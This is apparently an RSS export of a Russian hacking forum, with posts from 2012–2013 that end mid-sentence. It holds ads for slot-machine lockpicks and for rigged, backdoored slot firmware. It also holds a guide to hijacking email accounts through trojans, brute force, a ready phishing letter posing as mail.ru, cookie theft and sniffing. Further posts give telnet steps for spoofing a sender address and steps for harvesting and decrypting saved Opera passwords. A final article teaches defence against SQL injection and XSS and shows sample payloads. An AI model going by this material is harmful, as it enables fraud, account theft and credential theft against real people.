<?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<atom:link href="https://hacker.afbb.ru/export.php?type=rss" rel="self" type="application/rss+xml" />
		<title>Hacher.freeff.ru</title>
		<link>http://hacker.afbb.ru/</link>
		<description>Hacher.freeff.ru</description>
		<language>ru-ru</language>
		<lastBuildDate>Mon, 21 Oct 2013 13:42:56 +0400</lastBuildDate>
		<generator>MyBB/mybb.ru</generator>
		<item>
			<title>Какие есть приемы чтобы обыграть на игровых автоматах</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=14#p14</link>
			<description>&lt;p&gt;Уникальный &lt;strong&gt;отмычка ключ для игровых автоматов &lt;/strong&gt;представляет собой специализированное устройство для вскрытия замков игровых слот машин. Предлагаемый нами чудесный отмычка ключ к круглым замкам игровых автоматов - механическое специальное приспособление которое помогает открыть не только наружную дверь игрового аппарата но, и все остальные скрытые замки: купюро-приемника, блока с электроникой. Дешевый, но высокопрофессиональный ключ отмычка для игровых аппаратов представляет собой устройство для быстрого открывания механизмов, при этом профессиональный отмычка ключ отмыкает замки игровых аппаратов так же легко, как и оригинальный ключ — не оставляя результатов вторжения или каких либо видимых дефектов. &lt;/p&gt;
						&lt;p&gt;Наш ключ — это профессиональный инструмент для несложного и скорого отпирания стандартных 7-контактных круглых замков игровых слот аппаратов, и не собой специальное приспособление для ВЗЛОМА! &lt;br /&gt;Профессиональный ключ для замков игровые автоматы - представляет собой высокоточное механическое устройство, работающее по принципу самокомпрессии, говоря другими словами определения твердости пружин в замке и настройки к ним кода для вскрытия. Это профессиональный инструмент для слот аппаратов или платёжных терминалов применяется для отпирания круглых замков. В случае если вы потеряли оригинальные ключи от ваших аппаратов или терминалов, то не стоит спешить высверливать все &amp;quot;личинки&amp;quot;. &lt;/p&gt;
						&lt;p&gt;В этой ситуации вам поможет наш чудо инструмент - универсальный ключ для игровых автоматов. У Вас есть возможность приобрести Универсальный ключ-отмычку для игровых автоматов, способный открыть даже такие замки, у которых иглы находятся под упругим давлением пружин. С профессиональный ключом высылаем инструкцию. Все наши отсылаемые отмычки перед отправкой обязательно проверяются на работоспособность!&lt;/p&gt;
						&lt;p&gt;Приобрести чудо ключ отмычку для игровых автоматов вы можете перейдя по ссылке&lt;/p&gt;
						&lt;p&gt;на сайте:&lt;br /&gt;&lt;a href=&quot;http://x-gaminator.ru/lockpickshop.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://x-gaminator.ru/lockpickshop.html&lt;/a&gt;&lt;br /&gt;или на сайте:&lt;br /&gt;&lt;a href=&quot;http://www.chipfiles.ru/master_key.htm&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.chipfiles.ru/master_key.htm&lt;/a&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Alex)</author>
			<pubDate>Mon, 21 Oct 2013 13:42:56 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=14#p14</guid>
		</item>
		<item>
			<title>Взлом игровых автоматов Igrosoft, Gamnator, MegaJack, Novomatic</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=12#p12</link>
			<description>&lt;p&gt;&lt;span style=&quot;font-size: 18px&quot;&gt;&lt;strong&gt;Сайт &lt;a href=&quot;http://isbuger.ucoz.ru&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://isbuger.ucoz.ru&lt;/a&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Взлом игровых автоматов igrosoft, игрософт.&lt;/p&gt;
						&lt;p&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://s018.radikal.ru/i508/1304/cd/285a6480b713.jpg&quot; alt=&quot;http://s018.radikal.ru/i508/1304/cd/285a6480b713.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;Взлом игровых автоматов Gaminator, Гейминатор.&lt;/p&gt;
						&lt;p&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://i080.radikal.ru/1304/b9/00bbdeb59f2c.jpg&quot; alt=&quot;http://i080.radikal.ru/1304/b9/00bbdeb59f2c.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;Прошивки с багом igrosoft, игрософт,&amp;#160; все версии - 1000 руб.&lt;/p&gt;
						&lt;p&gt;Жадные прошивки&amp;#160; igrosoft, игрософт.&lt;/p&gt;
						&lt;p&gt;Баговые прошивки для Мегаджек (пробой+бонус) версии 30.25.&lt;/p&gt;
						&lt;p&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://s47.radikal.ru/i117/1304/6a/310ed3f507f2.jpg&quot; alt=&quot;http://s47.radikal.ru/i117/1304/6a/310ed3f507f2.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;Чипы с баговой прошивкой&amp;#160; igrosoft, игрософт - 2500 руб.&lt;/p&gt;
						&lt;p&gt;Прошивки с багом&amp;#160; Gaminator, Гейминатор (пробой, таблица карт) - 3000 руб.&lt;/p&gt;
						&lt;p&gt;Simm-flash готовые флеш модули с багом для установки в игровой автомат Gaminator, Гейминатор (пробой, таблица карт) - 8000 руб.&lt;br /&gt;Программы для работы с платами и блочками.&lt;/p&gt;
						&lt;p&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://s019.radikal.ru/i638/1304/4d/be7f51e0ef05.jpg&quot; alt=&quot;http://s019.radikal.ru/i638/1304/4d/be7f51e0ef05.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;Взлом&amp;#160; блочков Gaminator, Гейминатор.&lt;/p&gt;
						&lt;p&gt;Bug&amp;#160; Block – софт&amp;#160; для вставки бага в блочки&amp;#160; Gaminator, Гейминатор - 25000 руб.&lt;/p&gt;
						&lt;p&gt;Igrosoft Bug rev. 2.0 - более усовершенствованная версия программы для создания багов(закладок)&amp;#160; и изменения процента отдачи игрового автомата igrosoft, игрософт. Имеет простой, интуитивно понятный интерфейс. Поддерживает все известные прошивки, в том числе развлекательные. Баги сделанные этой программой&amp;#160; не определяются программами поиска багов - 10000 руб.&lt;/p&gt;
						&lt;p&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://s48.radikal.ru/i119/1304/16/d41073e741f5.jpg&quot; alt=&quot;http://s48.radikal.ru/i119/1304/16/d41073e741f5.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;BugGaminator&amp;#160; - программа для создания&amp;#160; баговых прошивок Gaminator, Гейминатор на миксы оригинальных игр и MegaKatok до версий 5.6-12. Лотерейные игры серии C-Loto и Lotos и развлекательные игры - 25000 руб.&lt;/p&gt;
						&lt;p&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://s017.radikal.ru/i429/1304/2a/ef18d02ab6e6.jpg&quot; alt=&quot;http://s017.radikal.ru/i429/1304/2a/ef18d02ab6e6.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;BagSeaGaminator&amp;#160; - программа для активации и выявления последовательности карт, после внедрения бага программой BugGaminator . Указываете файл, затем заполняете. Программа сгенерирует последовательность карт. После выбора последовательности, записываем в файл. Прошивка готова.&lt;br /&gt;Для выявления последовательности, необходимо указать базовые совпадения, которые выдает аппарат на пробитии, в соответствии с обозначениями для базовых совпадений (пики- 0 и т.д.). После ввода 8 (максимум) последовательностей, внизу программы будет 100 следующих мастей карт. Программа идет в комплекте с BugGaminator.&lt;/p&gt;
						&lt;p&gt;&lt;img class=&quot;postimg&quot; loading=&quot;lazy&quot; src=&quot;http://s020.radikal.ru/i723/1304/fc/fcbdfde25883.jpg&quot; alt=&quot;http://s020.radikal.ru/i723/1304/fc/fcbdfde25883.jpg&quot; /&gt;&lt;/p&gt;
						&lt;p&gt;Видео по работе программами&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://youtu.be/z7nuQpq6jrY&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://youtu.be/z7nuQpq6jrY&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://youtu.be/7iwneAF8OBg&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://youtu.be/7iwneAF8OBg&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;&lt;a href=&quot;http://youtu.be/iDo_aQcWGII&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://youtu.be/iDo_aQcWGII&lt;/a&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;В наличии огромный выбор оригинальных, лотерейных и развлекательных&lt;/p&gt;
						&lt;p&gt;прошивок: Air mix, Evrosim, Igrosoft Entertainment, Video Game, Lakmus,&lt;/p&gt;
						&lt;p&gt;Evroplus, Иллюзион Групп, Lotomatic, Lotos, Рио, C-loto, для игровых&lt;/p&gt;
						&lt;p&gt;автоматов Igrosoft и Gaminator.&lt;/p&gt;
						&lt;p&gt;Пишите на почту isbuger@gmail.com&amp;#160; &lt;/p&gt;
						&lt;p&gt;сайт: &lt;a href=&quot;http://isbuger.ucoz.ru&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://isbuger.ucoz.ru&lt;/a&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Петр)</author>
			<pubDate>Fri, 17 May 2013 14:56:54 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=12#p12</guid>
		</item>
		<item>
			<title>Взлом E-mail Эффективный и быстрый способ</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=11#p11</link>
			<description>&lt;p&gt;Довольно часто начинающие задают вопросы про взлом мыла. Из этой статьи ты узнаеш о 10 способах угона майл ящика. Разумеется идиального взлома не существует, темнемение всегда существут вероятность того, что система не надёжно защищина, и в принципи идиальной защиты тоже не существует. &lt;/p&gt;
						&lt;p&gt; Рассмотрим основные приёмы:&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Троян&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt; С трояном думаю всё понятно, нужно чтобы владелц мыла, имеющий афторизацию на сервере запустил у себя на компе некиую программу, которая передаст пасы на мыло к тебе. Существует много способов заставить жертву запустить трояна - заслать его по мылу\асе\закинуть на другом носители интформации, используя при этом соц инжинерию.&lt;br /&gt; Однако важно чтобы троян не палился антивирём, а это можно обеспечить используя ПО для сжатия программ. &lt;br /&gt; На сегодня не плохой троян - это пинч. &lt;br /&gt;Троян&lt;br /&gt; Часто юзеры ставят реальные ответы на свой секретный вопрос, и забывают о секретности ответа. Можно вступить в контакт с владельцем мыла, и в процессе общения узнать ответ на секретный вопрос. &lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Брут&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Так называемая грубая сила, предпологает использование перебора всех возможных комбинаций пароля, в надежде что однажды пароль совпадёт с реальным, и призойдёт афторизация. Пароль может генерироватся по алгоритму (в определённом диапазоне), случайным образом, либо братся из словаря (атака по словарю). Существует множество программ для брута мыла, которые без проблем можно найти в сети. &lt;br /&gt; Общий алогоритм работы брутфорса выгледит так: &lt;br /&gt; 1. ПО на стороне взломщика посылает запрос на афторизацию с логином, и паролем от взламыевого мыла (пароль взят из словаря\случайным образом\по диапазону) &lt;br /&gt; 2. Сервер проверяет правильность логина, и пароля, если всё правильно сервер посылает хакеру запрос о том, что авторизаия удалась, и пароль считается подобраным, если же авторизация не удалась сервер шлёт соответствующий ответ взломщику,и процесс авторизации повторяется заново, но в качестве паса используется уже другая комбинация символов. И так до техпор пока не выпадет правельный пас, либо у взломщика не кончится тепрение.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Соц инжинерия&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Если владелец почтового ящика плохо разбирается в компах, и темболее не знаком с методами хак атак можно попробовать послать владельцу письмо примерно такого содержания: &lt;br /&gt; Извените за приченённые неудобства, наш сайт был взломан злоумышлинниками, и пароли наших пользователей были похищены, в связи с этим рекомендуем вам срочно сменить пароль, до того как вашим почтовым ящиком воспользуются злоумышлиники. Для смены пароля необходимо отправить письмо на support_bezopasnost@mail.ru в следующем формате: &lt;br /&gt; Ваш логин:&lt;br /&gt; Текущий пароль: &lt;br /&gt; Новый пароль: &lt;br /&gt; Подтверждение нового пароля: &lt;br /&gt; С уважением администрация mail.ru Возможно что не опытный пользователь ответит на подобное письмо, и в ответе сообщит свой пароль. Но более опытный пользователь может заподозрить неладное, и изменить свой пас на более сложный - чтобы затруднить перебор, а в качестве ответа на секретный вопрос написать что то типа - 923впв1ап@7@$#%&amp;amp;d1dfhf9gjcfj82564 Кстати именно так я советую поступать&amp;#160; Словарь:&lt;br /&gt; Мыло - E-Mail ящик&lt;br /&gt; Грубая сила - метод взлома, при использовании которого не применяется хакерский интеллект &lt;br /&gt; Социальная инженерия - способ получения секретных данных, при использовании которого хакер входит в доверие к жертве, и жертва сама открывает доступ к секретной информации. Наивно пологая что говорит пароль своему босу, службе поддержке, другу.&lt;br /&gt; Снифер - программа, которая собирает (и обычно анализирует) весь сетевой трафик.&lt;br /&gt; Троян - программа, при запуске которой она собирает пароли, конфиденциальную информацию хранящующуюся на компе, и передаёт эти данные злоумышленику&lt;br /&gt; Брут - перебор всех возможных комбинаций пароля, в надежде что однажды выпадит верная комбинация, и пароль будит подобран.&lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Админы майл сервера&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt; Админы - тоже люди, которые как и ты имеют свои особенности. Можно написать письмо в службу поддержки с просьбой отдать это мыло (типа ты забыл пас), либо купить его. Скорее всего за большие деньги тебе его продадут, но тут по принцпу - сначало деньги, потом товар. Меньше 500 баксов не советую и предлагать. &lt;br /&gt; Админы обычно требуют точные данные о пользователе, которые нужно знать. Поэтому при регистрации не рекомендую указывать свои реальные данные. В системе напроминания паролей может быть даже спецальная форма для отправки модеру\админу сообщения о том, что юзер потерял пароль. Правда нужно знать многоинфы про юзера... &lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Куки жертвы\файлы с зашифроваными пасами&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Если владелиц мыла использует web интерфейс, то скорее всего остаются куки, в любом случае если чел не вводит пас вручную каждый раз при авторизации он где-то сохраняется(в зашифрованном виде) ведь юзеру гиморно каждый раз вводить пас вручную, особенно если длинный пароль. Получив эти файлы их можно расшифровать уже на своём компе. Получить куки в некоторых случаях проще чем впаривать троя, достаточно жертве перейти по линку. А использование дырявого майл клиента может привисти к кретическим для жертвы последствиям (Секюритилаб.ру рулит ) &lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Айпишник жертвы&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Зная IP адрес будующей жертвы, и то что жертва в онлайне, её можно взламать используя сплоиты, которые юзают различные уязвимости на ПК жертвы. Узнать айпишник можно при помощи пхп скрипта, к которому обратится юзер перейдя по линку. &lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Снифер&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Если жертва выходит в сеть через твой комп, (т.е есть сеть, ты предоставляеш для этой сети подключение к инету, и владелиц мыла выходит в сеть через тебя), либо в основи сети лижит хаб, а не свич (разница в том, что хаб шлёт пакеты с одного компа на всю сеть, и каждый комп сам опеределяет для него эта инфа или нет, а свич передаёт пакеты только непосредственно получателю). Можно отснифить трафик (отснифить значит перехватить все пакеты, сделать это можно при помощи снифиров), и среди перехваченого хакера может оказатся и запрос юзера на афторизацию, содержащий пароль от мыла. &lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Взлом майл сервера&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;
						&lt;p&gt;Если взломать сервер, то можно получить доступ, и управление над всеми мылами. Это способ для кул хакеров. Популярные сервера обычно очень надёжно защищаются. &lt;/p&gt;
						&lt;p&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;&lt;strong&gt;Физические методы&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt; Поймать владельца мыла, и заставить сказать пароль&amp;#160; &amp;#160;:glasses: &lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 20px&quot;&gt;Выводы&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt; В любом случае идиального взлома не существует, как не существует и идиальной защиты. Удачи&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Mon, 19 Mar 2012 19:28:44 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=11#p11</guid>
		</item>
		<item>
			<title>Подмена обратного адреса email</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=10#p10</link>
			<description>&lt;p&gt;Для использования уязвимости требуется знать ESMTP&lt;br /&gt; протокол и иметь шифровальщик base64, например в unix-based ОС часто&lt;br /&gt; встречается утилита base64. Ну, не забываем и про php-функцию.&lt;/p&gt;
						&lt;p&gt; Коннектимся на порт SMTP&lt;br /&gt;telnet mail.server.ru 25&lt;/p&gt;
						&lt;p&gt; представляемся:&lt;br /&gt;EHLO 123.123.123.123&lt;br /&gt;- наш ip. он тоже не проверяется - можно писать любую ахинею.&lt;/p&gt;
						&lt;p&gt;AUTH LOGIN base64login&lt;br /&gt;base64password&lt;/p&gt;
						&lt;p&gt;где base64login - ваш логин, закодированный в base64.&lt;br /&gt;base64password - пароль в 64&lt;/p&gt;
						&lt;p&gt; далее:&lt;/p&gt;
						&lt;p&gt;MAIL FROM xaker@forum.ru&lt;br /&gt;наш обратный адрес: xaker@forum.ru&lt;/p&gt;
						&lt;p&gt;RCPT TO: lamer@mail.ru&lt;br /&gt;адрес жертвы: lamer@mail.ru&lt;/p&gt;
						&lt;p&gt; Далее:&lt;br /&gt;DATA&lt;/p&gt;
						&lt;p&gt; после этого начинается тело письма&lt;br /&gt; в теле письма пишется откуда оно пришло (повторно, кому предназначено,&lt;br /&gt; в какой кодировке и т.д. и т.п.) Можно ограничиться From: и To:&lt;/p&gt;
						&lt;p&gt;To: &amp;lt;lamer@mail.ru&amp;gt;&lt;br /&gt;From: &amp;lt; xaker@forum.ru&amp;gt;&lt;br /&gt;Subject: hello, dude!&lt;/p&gt;
						&lt;p&gt; Где Subject - тема.&lt;/p&gt;
						&lt;p&gt; когда тело закончено пишем:&lt;br /&gt;&amp;lt;RET&amp;gt;.&amp;lt;RET&amp;gt;&lt;/p&gt;
						&lt;p&gt; Жертве приходит письмо с адреса, который мы указали. А именно с xaker@forum.ru&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Mon, 19 Mar 2012 19:24:38 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=10#p10</guid>
		</item>
		<item>
			<title>быстрый и лёгкий взлом соц сетей</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=9#p9</link>
			<description>&lt;p&gt;Для начало нам нужна програма flylinkdc 403 и Multi Password Recovery 1.2.8 пишите в гугле и так скачиваем все устанавливаем &lt;br /&gt; 1.открываем flylinkdс заходим на любые хабы&lt;br /&gt; 2.пишем в поисковую строку wand.dat это сохрн пароли на компах&lt;br /&gt; 3.скачиваем ванд.дат куда вам надо&lt;br /&gt; 4.открываем Multi Password Recovery 1.2.8 желательно Русскую версию&lt;br /&gt; 5.нажимаем мастер видем бредмаузеры ищем оперу открываем&lt;br /&gt; 6.там видел wand.dat и обзор куда вы скачали ванд.дат&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Mon, 19 Mar 2012 19:23:50 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=9#p9</guid>
		</item>
		<item>
			<title>Самые Эффективные виды взлома сайтов</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=8#p8</link>
			<description>&lt;p&gt;Данная статья не представляет собой всеобъемлющего руководства по программированию безопасных сайтов, она описывает основные принципы безопасности, о которых следует знать при программировании сайтов, и предполагает наличие у читателя базовых навыков веб-программирования и поиска информации в сети. Статья посвящена обзору основных путей взлома веб-сайтов с рекомендациями по защите от них. Упор делается на применение платформы PHP+MySQL, но основные принципы должны быть применимы и для других платформ.Одним из ключевых принципов безопасности сайта является то, что любым данным, пришедшим извне, доверять нельзя. Даже если данные предварительно проходят проверку с помощью JavaScript в браузере пользователя (и не присылаются в случае его отключения). Даже если это название (User-Agent) браузера пользователя. Даже если это cookie, выставленные нашим же сайтом ранее. Все, что приходит извне, можно подделать. К примеру, один из распространенных форумных движков некогда взламывался из-за того, что злоумышленник посылал запрос с подделанным cookie, вызывая этим SQL-инъекцию.Крайне рекомендуется по прочтении статьи поискать в интернете дополнительную, возможно, новую, информацию по упоминающимся здесь конкретным направлениям взлома.&lt;br /&gt; Загрузка файлов&lt;br /&gt; Сайт может позволять посетителям загружать свои файлы с последующим отображением на своих страницах. Это могут быть, к примеру, изображения в формате JPEG. Важно ограничить типы загружаемых файлов, чтобы вместо картинки не был бы загружен исполняемый файл.При загрузке файла PHP в переменной $_FILES[&#039;userfile&#039;][&#039;type&#039;] возвращает mime-тип файла, для JPEG-изображения это будет image/jpeg. Может показаться, что проверка этого типа достаточна для уверенности в том, что загружено именно изображение. Также встречается идея пытаться читать файл изображения функциями getimagesize или imаgecreatefromjpeg. Однако тип файла здесь определяется на основе содержания, так что правильное JPEG-изображение, сохраненное с расширением .php, будет определено как image/jpeg. А называться будет xxxxx.php. Веб-сервер же, принимающий решение об обработчике (handler) для того или иного файла, смотрит именно на расширение. Злоумышленник берет корректную картинку, приписывает к ней в конец (или в EXIF-данные) php-скрипт, и сервер его исполняет, мы взломаны.Таким образом, контролировать для обеспечения безопасности следует именно расширение файла, а проверки через определение mime-type и через попытку открыть файл функцией getimagesize имеют смысл только для контроля того, что вместо картинки не будет загружен мусор, безвредный, но картинкой не являющийся.Также можно хранить файлы в директории, недоступной для непосредственного доступа посетителей веб-сервера, а отдавать их контент через скрипт. Это, однако же, увеличивает нагрузку на сервер и требует реализации базовой функциональности веб-сервера (выдачи даты последнего изменения и реакции на условные запросы типа &amp;quot;If-Modified-Since&amp;quot;, выдачи корректных mime-type и поддержки докачки).Можно также в настройках веб-сервера для папки с пользовательскими файлами попытаться запретить исполнение скриптов директивой RemoveHandler, однако в ней придется указывать всевозможные расширения для файлов всех поддерживаемых конкретным веб-сервером обработчиков, что чревато пропуском какого-нибудь малоизвестного или нового обработчика.&lt;br /&gt;Register Globals&lt;br /&gt; В PHP есть функциональность &amp;quot;Register Globals&amp;quot; — автоматическое заведение переменных при поступлении их в запросе (GET, POST, COOKIE). То есть, к примеру, скрипт &amp;lt;?php echo $a;?&amp;gt;, будучи вызван как script.php?a=hello, напечатает &amp;quot;hello&amp;quot; при включенных register_globals. Если программист не следит за начальной инициализацией переменных, может возникнуть уязвимость, иллюстрируемая простым примером:&lt;br /&gt; if ($login == &#039;admin&#039; &amp;amp;&amp;amp; $password == &#039;пароль админа&#039;) $is_admin = true;&lt;br /&gt; ......&lt;br /&gt; if ($is_admin) {&lt;br /&gt; какие-то действия, разрешенные только админу&lt;br /&gt; }&lt;br /&gt; Неопытному глазу может показаться, что без знания пароля админа мы не установим переменную $is_admin в true, она останется неопределенной, и if($is_admin) не выполнится. Но переменная $is_admin может быть установлена и путем вызова нашего скрипта с аргументом ?is_admin=1. И из-за того, что мы пропустили переменную из запроса (например, не написали в начале скрипта $is_admin = false), нас и похакали.Контролировать такие ситуации легче, если включить в PHP отображение всех ошибок, предупреждений (warnings) и замечаний (notices) директивой error_reporting. Мы бы увидели замечание о том, что используется неинициализированная переменная $is_admin. Это одна из причин к тому, чтобы писать скрипты, включив диагностические сообщения PHP на максимум.&lt;br /&gt; SQL-инъекции&lt;br /&gt; Атаки SQL-инъекциями возможны против сайтов, которые не используют правильное разделение SQL-запросов и вставляемых в них данных. Пояснить суть SQL-инъекций лучше всего на примере.Пусть у нас есть доска объявлений, на ней регистрируются пользователи, мы разрешаем пользователям через интерфейс удалять свои записи. Вот код PHP-скрипта:&lt;br /&gt; mysql_query(&#039;DELETE FROM messages WHERE id=&#039;.$message_id.&#039; AND user_id=&#039;.$user_id);&lt;br /&gt; Пояснения: переменная message_id приходит от ссылки &amp;quot;Удалить&amp;quot; ($_REQUEST[&#039;message_id&#039;]), в ней содержится идентификатор удаляемой записи (целое число); переменная user_id хранится в сессии, мы записываем в нее идентификатор пользователя при его успешной авторизации на сайте.Теперь предположим, что хакер подделал адрес ссылки для удаления и вместо «?message_id=15» отправил нам «?message_id=15 OR 1=1». После подстановки этого значения в запрос он станет таким:&lt;br /&gt; DELETE FROM messages WHERE id=15 OR 1=1 AND user_id=3&lt;br /&gt; Мы видим, что данные стали выражением, в выражение попало логическое &amp;quot;или&amp;quot; (OR), в результате чего хакер &amp;quot;выключает&amp;quot; проверку user_id и может удалять чужие записи. В качестве разминки могу предложить придумать такой запрос, которым хакер удалит с нашей доски объявлений все записи разом.Другой пример: проверка логина и пароля пользователя, которые поступают в переменных $login и $password:&lt;br /&gt; mysql_query(&#039;SELECT id FROM users WHERE login=&amp;quot;&#039;.$login.&#039;&amp;quot; AND password=&amp;quot;&#039;.$password.&#039;&amp;quot;&#039;);&lt;br /&gt; Если в $login хакер отправляет «admin&amp;quot; OR 1=&amp;quot;1», то его пустят на сайт под логином admin даже без знания пароля:&lt;br /&gt; SELECT id FROM users WHERE login=&amp;quot;admin&amp;quot; OR 1=&amp;quot;1&amp;quot; AND password=&amp;quot;&amp;quot;&lt;br /&gt; А если напишет «&amp;quot; OR 1=1 OR 1=&amp;quot;1», то его вообще пустят под первым попавшимся в базе данных пользователем.Таким образом, основным правилом противодействия SQL-инъекциям является недопущение ситуации, когда данные интерпретируются как выражения. Нужно либо насильно приводить значения в ожидаемый тип (функции intval, floatval, если ожидается число), либо просто заключать их всех в кавычки и экранировать содержащиеся внутри них спецсимволы.В языке PHP есть специальная функция, экранирующая текст перед вставкой в MySQL-запрос, она называется mysql_real_escape_string. Используемые иногда вместо нее mysql_escape_string, addslashes и (да, да, встречаются и такие странные люди) htmlspecialchars либо неэффективны (см. мануал на wwwphp.net), либо предназначены для другого (как последняя).Изначально в язык PHP были введены так называемые «Волшебные кавычки» (Magic Quotes). Это функциональность, при которой PHP сам добавляет обратную косую черту перед всеми кавычками (и уже имеющимися обратными косыми чертами) в данных, поступающих скрипту извне. С одной стороны, это некоторым образом защищает скрипт, автор которого не заморачивал себе голову насчет безопасности своего творения. С другой стороны, данные &amp;quot;портятся&amp;quot; все подряд, даже те, которые и не предначены для запросов к базе. Не хочется же видеть на сайте приветствие &amp;quot;Здравствуйте, д\&#039;Артаньян&amp;quot;? И приходится либо чистить данные функцией stripslashes, либо вообще отключать magic_quotes в настройках сервера.Да и защита через magic_quotes не стопроцентна: она не предотвратит первую из приведенных выше инъекций, с конструкцией «WHERE id=&#039;.$message_id» — кавычек вокруг аргумента и так нет, хакеру не нужно вставлять закрывающие кавычки. Также не учитывается кодировка соединения с базой данных.В конце концов, сами авторы PHP не советуют использовать «Magic Quotes» и прекращают их поддержку начиная с 6-ой версии PHP.Таким образом, уповать на то, что скрипт работает в условиях действующих magic_quotes, не следует, но следует обрабатывать данные перед вставкой в SQL-запросы функциями mysql_real_escape_string / pg_escape_string и обязательно заключать значения в SQL-запросе в кавычки. При этом крайне желательно подвергать такой обработке все данные, участвующие в SQL-запросах, насколько бы надежным ни казался их источник.Некоторые специалисты советуют применять для этого специальные конструкторы SQL-запросов, которые сами обеспечивают требуемое разделение запроса и данных.&lt;br /&gt;XSS&lt;br /&gt; XSS (Cross Site Scripting, &amp;quot;межсайтовый скриптинг&amp;quot;, названный XSS, чтобы не было путаницы с CSS, таблицами стилей) представляет собой атаку, при которой злоумышленник публикует на атакуемом сайте скрипт (к примеру, на языке JavaScript), который исполняется у пользователей сайта при открытии ими страниц. Поскольку этот скрипт выполняется в браузере у пользователя, то он имеет доступ к информации в его cookie, а также может производить на сайте действия от имени пользователя (если тот &amp;quot;залогинен&amp;quot;), к примеру, читать, писать и удалять сообщения.Очевидно, что в основном XSS угрожает сайтам, на которых регистрируются и оставляют информацию его пользователи (форумы, блоги, доски объявлений), но опасность может угрожать и администраторским интерфейсам, если в них есть модули, предназначенные для просмотра данных, поступающих от посетителей сайта. Это могут быть сообщения из форм обратной связи, заказа или отзывов. Это может быть и статистическая информация об адресах, откуда к нам приходили посетители (поле HTTP-запроса &amp;quot;Referer&amp;quot;), и какими браузерами они при этом пользовались (поле &amp;quot;User-Agent&amp;quot;).Основным способом противодействия XSS-атакам является фильтрация пришедших извне и публикуемых на сайте данных. Как правило, достаточно заменять символы &amp;quot;&amp;lt;&amp;quot; и &amp;quot;&amp;gt;&amp;quot; на &amp;quot;&amp;amp;lt;&amp;quot; и &amp;quot;&amp;amp;gt;&amp;quot; соответственно (php-функция htmlspecialchars), при этом введенный посетителем текст теряет HTML-оформление, а содержащиеся в нем скрипты утрачивают вредоносность.Правда, не все сайты могут пойти на такое радикальное решение, как игнорирование HTML-разметки. Зачастую, все-таки надо 